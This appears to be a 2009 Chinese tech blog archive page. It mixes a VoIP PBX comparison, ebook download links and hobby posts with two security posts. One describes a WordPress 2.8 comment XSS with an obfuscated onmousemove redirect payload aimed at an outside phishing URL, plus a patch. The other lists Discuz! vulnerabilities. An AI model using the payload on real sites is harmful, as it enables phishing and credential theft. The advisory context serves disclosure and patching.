页面: 1 2 下一页

八月, 2009 的文章

我来评论
八月
30
2009

Comparing Asterisk NOW, SwitchVox and Trixbox Pro with sipXecs

5
作者:AirForce

Asterisk NOW vs. sipXecs vs. SwitchVox vs. Trixbox Pro – Comparing User Benefits

From SIPfoundry sipXecs IP PBX, The Open Source SIP PBX for Linux – Calivia

Comparing Asterisk NOW, SwitchVox and Trixbox Pro with sipXecs

It is indeed difficult to provide a fair and in-depth comparison between Asterisk NOW, SwitchVox, Trixbox Pro and sipXecs, but we think that sipXecs has surpassed Asterisk based solutions both in terms of ease of use, features, scale, resiliency and quality by quite a large margin. The comparison below is not looking at what you could do using a Linux command line. It compares user accessible features through a Web UI or TUI. The comparison is based on freely downloadable and usable versions of the respective solutions, where Switchvox and Trixbox include closed source components.

Asterisk was the first open source IP PBX that started to gain traction in 1999. sipXecs was introduced in 2004 as a second generation open source IP PBX with a clear path towards ease of use and unified communications (UC). Another key difference is that sipXecs is built as a true Session Initiation Protocol (SIP) solution. Asterisk is a hybrid solution where SIP is one of the possible transport protocols connected to a proprietary core.

What do we mean by “unlimited” trunks and simultaneous calls? This is not a configuration option but a fundamental architectural choice made right at the beginning when starting the project to build an IP PBX. sipXecs is a SIP proxy that by definition only handles signaling and no media. Asterisk is a Back-to-Back User Agent (B2BUA) based design that by definition anchors media. Therefore, sipXecs is a distributed system where media is routed peer-to-peer and Asterisk is a system where calls go through the server. “Unlimited” in this context therefore means that sipXecs can handle as many simultaneous calls as can be supported by the bandwidth of your LAN / WAN.

The comparison is based on freely downloadable and usable software, namely Asterisk NOW 1.0.1, SwitchVox 1.0 Free Version, Trixbox Pro (Standard) v1.0.3.23 and sipXecs 3.10. Asterisk NOW, Trixbox Pro and SwitchVox are all Asterisk based solutions. Only Asterisk NOW is open source. The other Asterisk management systems are proprietary and closed source. sipXecs is a new solution built from the ground up and not based on Asterisk.

查看全文 »

分类
标签
我来评论
八月
30
2009

Building Enterprise Ready Telephony Systems with sipXecs 4.0

3
作者:AirForce
Building Enterprise Ready Telephony Systems with sipXecs 4.0

Description: Leveraging open source VOIP for a rock-solid communications system
Learn how to plan, deploy and migrate an enterprise ready communications system with sipXecs
Discover the different options for configuring phones, users and server features to get the best result for your organization
Secure and maintain your sipXecs system

Open source telephony systems are making big waves in the communications industry. Moving your organization from a lab environment to production system can seem like a daunting and inherently risky proposition. Building Enterprise Ready Telephony Systems with sipXecs delivers proven techniques for deploying reliable and robust communications systems.

Building Enterprise Ready Telephony Systems with sipXecs provides a guiding hand in planning, building and migrating a corporate communications system to the open source sipXecs SIP PBX platform. Following this step-by-step guide makes normally complex tasks, such as migrating your existing communication system to VOIP and deploying phones, easy. Imagine how good you’ll feel when you have a complete, enterprise ready telephony system at work in your business.

Planning a communications system for any size of network can seem an overwhelmingly complicated task. Deploying a robust and reliable communications system may seem even harder. This book will start by helping you understand the nuts and bolts of a Voice over IP Telephony system. The base knowledge gained is then built upon with system design and product selection. Soon you will be able to implement, utilize and maintain a communications system with sipXecs. Many screen-shots and diagrams help to illustrate and make simple what can otherwise be a complex undertaking. It’s easy to build an enterprise ready telephony system when you follow this helpful, straightforward guide.

What you will learn from this book?
Understand the complexities of an IP Telephony and Voice over IP network
Build a clear process for migrating existing phone systems to an IP based system
Deliver a solid foundation for any IP based phone system
Quickly and easily get a sipXecs open source PBX running
Deploy phones quickly and easily.
Utilize Internet Telephony Service Providers to reduce monthly telephony bills
Develop training materials to help successfully teach your users how to use the system
Leverage sipXecs Automatic Call Distribution Queues to handle basic Call Center needs
Operate and Maintain a reliable communications platform

http://www.file2box.com/qx12wim2n9ph

分类
标签
1条评论
八月
30
2009

Wordpress 2.8 All Version Xss 0DAY

2
作者:AirForce

From：vul.kr

It had been published that wordpress 2.8 All version are suffering from Xss,attackers can use this to do fishing,they make a wordpress login page as it is your own.If you don’t take care,your password will be sent to the attacker’s website.With your password,they can edit pages and upload webshell.It is harmful.

How is the attacker do this?
they insert website url like this(in the comments write place):

http://www.lengmo.net’onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);

If someone(or administrator) moved his mouse on the author’s website.It will jump to another URL,which is a fishing page.

How can we patch it?Edit wp-comments-post.php  go line 40 and then add:

$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);
分类
标签
我来评论
八月
30
2009

tweetr – Project Hosting on Go…

2
作者:AirForce

tweetr – Project Hosting on Google Code http://ff.im/7m9e3

分类
标签
我来评论
八月
30
2009

嗯嗯…发现自己还是傻…

1
作者:AirForce

嗯嗯…发现自己还是傻傻的看ACG就好.

这样最快乐:)

3D的果然对技术要求比较高…缩~

分类
标签
我来评论
八月
29
2009

今日更新

4
作者:AirForce

更新了一堆插件….

包括分页Pagebar/PageNavi

页面的各种优化etc.

分类
标签
我来评论
八月
29
2009

免费电子书下载集合

3
作者:AirForce

http://www.dbebooks.biz/

http://www.ebookshare.net/

http://www.worldbookzone.com/

分类
标签
我来评论
八月
29
2009

Web 2.0 Architectures 电子书 下载

1
作者:AirForce
Web 2.0 Architectures

Description: Web 2.0 is more pervasive than ever, with business analysts and technologists struggling to comprehend the opportunity it represents. But what exactly is Web 2.0 — a marketing term or technical reality? This fascinating book finally puts substance behind the phenomenon by identifying the core patterns of Web 2.0, and by introducing an abstract model and reference architecture to help you take advantage of them. In Web 2.0 Architectures, authors Duane Nickull, Dion Hinchcliffe, and James Governor — who have 40 years of combined experience with technical specifications and industry trends — examine what makes successful Web 2.0 services such as Google AdSense, Flickr, BitTorrent, MySpace, Facebook, and Wikipedia tick. The result is a base of knowledge that developers, business people, futurists, and entrepreneurs can understand and use as a source of ideas and inspiration. This book reveals:
A Model for Web 2.0 — An in-depth look at how the classic Client-Server model has evolved into a more detailed Web 2.0 model. Web 2.0 Reference Architecture — A generic component view that helps decision-makers recognize basic patterns in existing Web 2.0 applications-patterns that can be repurposed for other commercial ventures. Specific Patterns of Web 2.0 — How Service Oriented Architecture (SOA), Software as a Service pattern (SaaS), Participation-Collaboration Pattern, AJAX, Mashups, Rich User Experience (a.k.a. RIA), Collaborative Tagging Systems (Folksonomy), and more can be used in your technology business.

In true Web 2.0 fashion, Nickull, Hinchcliffe, and Governor will present the reference architecture and patterns on their companion website so that people in the industry can augment it and continue the discussion.

 *

http://www.file2box.com/uckuqxn5djy6

分类
标签
我来评论
八月
29
2009

Discuz 攻击/BUGs by 8ovul.com

4
作者:AirForce

Some Of Discuz! Bugs[www.80vul.com]

“Crossday Discuz! Board 论坛系统（简称 Discuz! 论坛，中国国家版权局著作权登记号 2006SR11895）是一个采用 PHP 和 MySQL 等其他多种数据库构建的高效论坛解决方案。作为商业软件产品， Discuz! 在代码质量，运行效率，负载能力，安全等级，功能可操控性和权限严密性等方面都在广大用户中有良好的口碑。凭借 Discuz! 开发组长期积累的丰富的 web 开发及数据库经验，和强于创新，追求完美的设计理念，使得 Discuz! 在很短时间内以其鲜明的个性特色从国内外同类产品中脱颖而出。经过了效率最优化和负载能力最佳化设计的 Discuz! ，已获得业内越来越多专家和权威企业的认可。”以上是官方自己的介绍。
# Title Description PoC/Exploit Fix
18 Discuz! admin\styles.inc.php get-webshell bug 由于Discuz!的admin\styles.inc.php里preg_match正则判断$newcvar变量操作不够严谨，导致执行代码漏洞. SODB-2009-02.txt NO
17 Discuz!<5.50 $onlineipmatches 未初始化漏洞 由于Discuz!<5.50的common.inc.php使用preg_match()的变量$onlineipmatches 未初始化漏洞,导致可以容易构造$onlineip SODB-2009-01.txt yes
16 Discuz! 1_modcp_editpost.tpl.php xss bug 由于Discuz!的1_modcp_editpost.tpl.php里$orig['message']未过滤,导致一个xss漏洞. SODB-2008-16.txt NO
15 Discuz! admin\database.inc.php get-webshell bug 由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell. SODB-2008-15.txt NO
14 Discuz! Reset User Password Vulnerability 由于Discuz! 的 随机数使用的播种缺陷,在找会用户密码时可以暴力得到id的随机hash,从而导致容易修改用户密码的严重漏洞. dz-exp-sodb-2008-14_php.htm NO
13 Discuz! $_DCACHE数组变量覆盖漏洞 [update 11.14] 由于Discuz! 的wap\index.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖$_DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题. dz-exp-sodb-2008-13_php.htm NO
12 Discuz! 路径信息泄露 bug 由于Discuz! cache file的数组$_DCACHE,$_CACHE等的变量名没有初始化导致路径信息泄露. SODB-2008-12.txt NO
11 Discuz! member.php xss bug 由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug. SODB-2008-11.txt NO
10 Discuz! admin\runwizard.inc.php get-webshell bug 由于Discuz!的admin\runwizard.inc.php里saverunwizardhistory()写文件操作没有限制导致执行代码漏洞. SODB-2008-10.txt NO
9 Discuz! modcp\moderate.inc.php 数据库注射bug 由于Discuz!的modcp/moderate.inc.php里$fidadd数组变量没有初始化导致sql注射bug SODB-2008-09.txt NO
8 Discuz! moderation.inc.php 数据库’注射’ bug 由于Discuz!的include/moderation.inc.php存在一个’二次攻击’导致数据库’注射’的bug SODB-2008-08.txt NO
7 Discuz! trade.php 数据库’注射’ bug 由于Discuz!的trade.php里的$message处理不严格导致引起数据库操作错误,通过SODB-2008-06而导致xss攻击及数据库信息泄露的漏洞. SODB-2008-07.txt NO
6 Discuz! 数据库错误信息xss bug 由于Discuz!在处理数据库的错误信息时对$GLOBALS['PHP_SELF']没有过滤,导致在让数据库出错的情况下导致xss攻击. 无 NO
5 Discuz!4.x wap\index.php 变量覆盖漏洞 由于Discuz!的wap\index.php处理post的变量不严谨而导致变量覆盖,从而可能导致sql注射/代码执行/xss等攻击. 暂缺 YES
4 Discuz! cache.func.php信息泄漏的bug 由于Discuz!的\include\cache.func.php缺少访问限制导致版本及补丁消息的泄露. SODB-2008-04.txt NO
3 Discuz! flash Crsf bug 由于Discuz!对flash跨域策略文件及上传图片文件处理不严导致可以绕过formhash及Referer的限制,导致csrf攻击. SODB-2008-03.fla NO
2 Discuz! admincp.php xss bug 由于Discuz!的后台登陆文件$url_forward没有过滤导致一个严重的xss bug. SODB-2008-02.txt NO
1 Discuz![flash] xss bug 由于Discuz!对上传图片文件处理不严及flash标签安全设置不严导致一个严重的xss bug. SODB-2008-01.fla/gif NO

http://www.80vul.com/dzvul/

分类
标签
我来评论
八月
29
2009

[Falcom]永远的伊苏7 PSP~

2
作者:AirForce

http://www.falcom.com/ys7_psp/index.html

分类
标签
页面: 1 2 下一页